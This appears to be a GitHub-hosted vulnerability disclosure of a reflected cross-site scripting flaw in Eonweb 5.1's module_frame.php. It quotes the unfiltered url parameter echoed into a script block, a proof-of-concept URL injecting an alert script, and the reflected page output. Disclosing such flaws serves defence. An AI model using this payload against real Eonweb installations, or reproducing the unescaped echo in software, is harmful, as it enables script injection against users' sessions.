Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
cve/Eonweb_module_module_frame_module_frame.php xss
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
49 lines (35 sloc)
1.19 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Eonweb_module_module_frame_module_frame.php cross-site scripting (XSS) | |
| Powered by shaojiejiang from 360 SkyEye Labs | |
| version: 5.1 | |
| https://github.com/EyesOfNetworkCommunity/eonweb | |
| Vulnerability details | |
| # 0x01 | |
| module/module_frame/module_frame.php Line 34 | |
| $url=retrieve_form_data("url",null); | |
| ?> | |
| <script> | |
| if (window !=top ) {top.location=window.location;} | |
| $(function() { | |
| $(window).load(function() { | |
| $('#page-wrapper').empty(); | |
| $('<iframe>', { | |
| src: '<?php echo urldecode($url); ?>', | |
| id: 'iframe', | |
| class: 'iframe', | |
| frameborder: 0, | |
| }).appendTo('#page-wrapper'); | |
| url has not been filtered to cause cross-site scripting (XSS) | |
| EXP: | |
| https://192.168.227.169/module/module_frame/index.php?url=</script><script>alert(123)</script> | |
| the return page has the payload: | |
| <script> | |
| if (window !=top ) {top.location=window.location;} | |
| $(function() { | |
| $(window).load(function() { | |
| $('#page-wrapper').empty(); | |
| $('<iframe>', { | |
| src: '</script><script>alert(123)</script>', | |
| id: 'iframe', | |
| class: 'iframe', | |
| frameborder: 0, | |
| }).appendTo('#page-wrapper'); |